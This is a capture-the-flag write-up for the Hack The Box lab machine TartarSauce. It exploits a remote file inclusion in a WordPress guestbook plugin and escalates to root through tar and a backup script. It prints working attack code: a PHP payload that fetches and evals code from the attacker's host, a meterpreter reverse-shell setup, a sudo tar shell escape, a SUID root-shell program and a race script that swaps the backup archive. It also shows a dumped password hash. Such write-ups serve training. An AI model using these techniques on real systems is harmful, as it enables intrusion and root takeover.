Writeup: Hack The Box - Machines - TartarSauce

Description

  • Name: TartarSauce
  • IP: 10.10.10.88
  • Author: 3mrgnc3 & ihack4falafel
  • Difficulty: 6.2/10

Discovery

nmap -sV -sC -Pn -p 1-65535 -T5 --min-rate 1000 --max-retries 5 10.10.10.88

1
2
3
4
5
6
7
8
PORT   STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 5 disallowed entries
| /webservices/tar/tar/source/
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Landing Page

From dirsearch on webservices folder we also found a /wp URL.

From robots.txt:

1
2
3
4
5
6
User-agent: *
Disallow: /webservices/tar/tar/source/
Disallow: /webservices/monstra-3.0.4/
Disallow: /webservices/easy-file-uploader/
Disallow: /webservices/developmental/
Disallow: /webservices/phpmyadmin/

Pwn

All services listed in robots.txt were rabbit holes (no pages, no links, not working).

Since in webservices/wp/ we found a Wordpress site, version 4.9.4, (broken due to a wrong domain rewrite rule) we used wpscan to found three plugins:

wpscan --url http://10.10.10.88/webservices/wp/ --random-agent -e p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[+] We found 3 plugins:

[+] Name: akismet - v4.0.3
| Last updated: 2018-06-19T18:18:00.000Z
| Location: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/
| Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
[!] The version is out of date, the latest version is 4.0.8

[+] Name: brute-force-login-protection - v1.5.3
| Latest version: 1.5.3 (up to date)
| Last updated: 2017-06-29T10:39:00.000Z
| Location: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/
| Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt

[+] Name: gwolle-gb - v2.3.10
| Last updated: 2018-09-07T19:44:00.000Z
| Location: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/
| Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
[!] The version is out of date, the latest version is 2.6.3

[!] Title: Gwolle Guestbook <= 2.5.3 - Cross-Site Scripting (XSS)
Reference: https://wpvulndb.com/vulnerabilities/9109
Reference: http://seclists.org/fulldisclosure/2018/Jul/89
Reference: http://www.defensecode.com/advisories/DC-2018-05-008_WordPress_Gwolle_Guestbook_Plugin_Advisory.pdf
Reference: https://plugins.trac.wordpress.org/changeset/1888023/gwolle-gb
[i] Fixed in: 2.5.4

The last one (gwolle-gb) is marked as vulnerable for XSS but from exploitdb we found that the plugin is also vulnerable to RFI.

HTTP GET parameter abspath is not being properly sanitized before being used in PHP require() function.
A remote attacker can include a file named wp-load.php from arbitrary remote server and execute its content on the vulnerable web server. In order to do so the attacker needs to place a malicious wp-load.php file into his server document root and includes server’s URL into request:

http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]

N.B.: in order to works this exploit need allow_url_include to be enabled. Otherwise, attacker may still include local files and also execute arbitrary code.

First we set up a meterpreter listener for a web_delivery to create the content of the wp-load.php file:

msfconsole -x "use exploit/multi/script/web_delivery; set URIPATH dodometer; set LPORT 3487; set LHOST $(ip addr show tun0 | grep -Po "inet \K[\d.]+"); set SRVHOST $(ip addr show tun0 | grep -Po "inet \K[\d.]+"); set target PHP; set payload php/meterpreter/reverse_tcp; run -j"

Now the file to be served (wp-load.php) with the classic python -m http.server 80:

1
2
3
<?php

eval(file_get_contents('http://10.10.XX.XX:8080/dodometer'));

Issuing the request http http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.95/ we got a meterpreter session.

python -c 'import pty; pty.spawn("/bin/bash")'

From /etc/passwd we saw the the main user is onuma so we need to find a way to privesc from www-data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:108:112::/var/run/dbus:/bin/false
uuidd:x:109:113::/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin
onuma:x:1000:1000:,,,:/home/onuma:/bin/bash

Listing user sudo privileges we got an interesting result:

1
2
3
4
5
6
7
www-data@TartarSauce:/tmp$ sudo -l
Matching Defaults entries for www-data on TartarSauce:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on TartarSauce:
(onuma) NOPASSWD: /bin/tar

User www-data can run tar with sudo without password. tar command can be abused to execute commands: https://gtfobins.github.io/#tar.
So we can easily get a onuma shell with:

sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

for a more stable and powerful shell we migrate the /bin/bash to a meterpreter session for user onuma and read the first flag:

From mysql we got the wpadmin hash:

1
2
3
4
5
6
7
8
mysql> select user_login, user_pass from wp_users;
select user_login, user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| wpadmin | $P$BBU0yjydBz9THONExe2kPEsvtjStGe1 |
+------------+------------------------------------+
1 row in set (0.00 sec)

And using LinEnum we saw an unusual systemd timer and service:

1
2
3
4
5
6
7
8
9
10
[-] Systemd timers:
backuperer.timer backuperer.service ###################################
apt-daily.timer apt-daily.service
apt-daily-upgrade.timer apt-daily-upgrade.service
systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
snapd.refresh.timer
snapd.snap-repair.timer snapd.snap-repair.service
ureadahead-stop.timer ureadahead-stop.service

7 timers listed.

/lib/systemd/system/backuperer.service

1
2
3
4
5
[Unit]
Description=Backuperer

[Service]
ExecStart=/usr/sbin/backuperer

The script runned by the service is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/bin/bash

#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------

# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check

# formatting
printbdr()
{
for n in $(seq 72);
do /usr/bin/printf $"-";
done
}
bdr=$(printbdr)

# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
integrity_chk()
{
/usr/bin/diff -r $basedir $check$basedir
}

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
# Report errors so the dev can investigate the issue.
/usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
integrity_chk >> $errormsg
exit 2
else
# Clean up and save archive to the bkpdir.
/bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
/bin/rm -rf $check .*
exit 0
fi

This script is used to temporally check if something from the /var/www/html folder is changed. The first thing that triggered us is the use of -C options with tar: this option do not change ownerships and permissions on archive folder so the extracted files are the same.

We can create an archive with a SUID binary to spawn a root shell.

  1. wait for the script to generate the hidden $tmpfile
  2. substitute the $tmpfile archive with the one with the SUID shell.
  3. avoid the deletion of all files in $check path.
  4. run the shell.

We can hijack the script to extract our archive in /var/tmp/check/: the crafted archive must me created using the same base path of the original so we can trigger the integrity_chk to fail.

For the first step we can write a script looping until the file is created and then move the crafted archive to the correct path and with the same name.

For the SUID binary we wrote a C program to spawn a /bin/bash shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <unistd.h>	/* setuid, .. */
#include <sys/types.h> /* setuid, .. */
#include <grp.h> /* setgroups */
#include <stdio.h> /* perror */

int main (int argc, char** argv) {
gid_t newGrp = 0;

if (setuid(0) != 0) {
perror("Setuid failed, no suid-bit set?");
return 1;
}
setgid(0);
seteuid(0);
setegid(0);
setgroups(1, &newGrp);

execvp("/bin/bash", argv);

return 0;
}

and with gcc -m32 shell.c -o var/www/html/shell we compiled the code.

We must use the var/www/html/ path because the script will check the diff from /var/www/html and /var/tmp/check/var/www/html/ and we need this check to fail avoiding /bin/rm -rf $check .*. Once bypassed this step we should have the SUID binary in /var/tmp/check/var/www/html.

To create the archive we first must set ownerships and SUID on the compiled shell.

1
2
3
chown root:root var/www/html/shell
chmod +x var/www/html/shell
chmod u+s var/www/html/shell

Now our binary is executable by all users but has the SUID bit set.

.rwsr-x--x 15k root 20 Sep 19:13 var/www/html/shell

With tar we create the archive: tar -czvf dodo.tar.gz var/www/html/*.

Once uploaded (in /tmp/.dodo) we started the script to monitor the creation of the hidden file in /var/tmp/:

1
2
3
4
5
6
7
8
#!/usr/bin/env bash

while [[ ! -d check ]]; do
:
done

filename=$(\ls -a .????????????????????*)
cp /tmp/.dodo/dodo.tar.gz "${filename}"

Once the file is create, read the filename and substitute it with out archive in /tmp/.dodo.
After a while (~5 mins) the systemd timer went off the we got the extracted files in check/ folder.

Running /var/tmp/check/var/www/html/shell we got a root bash!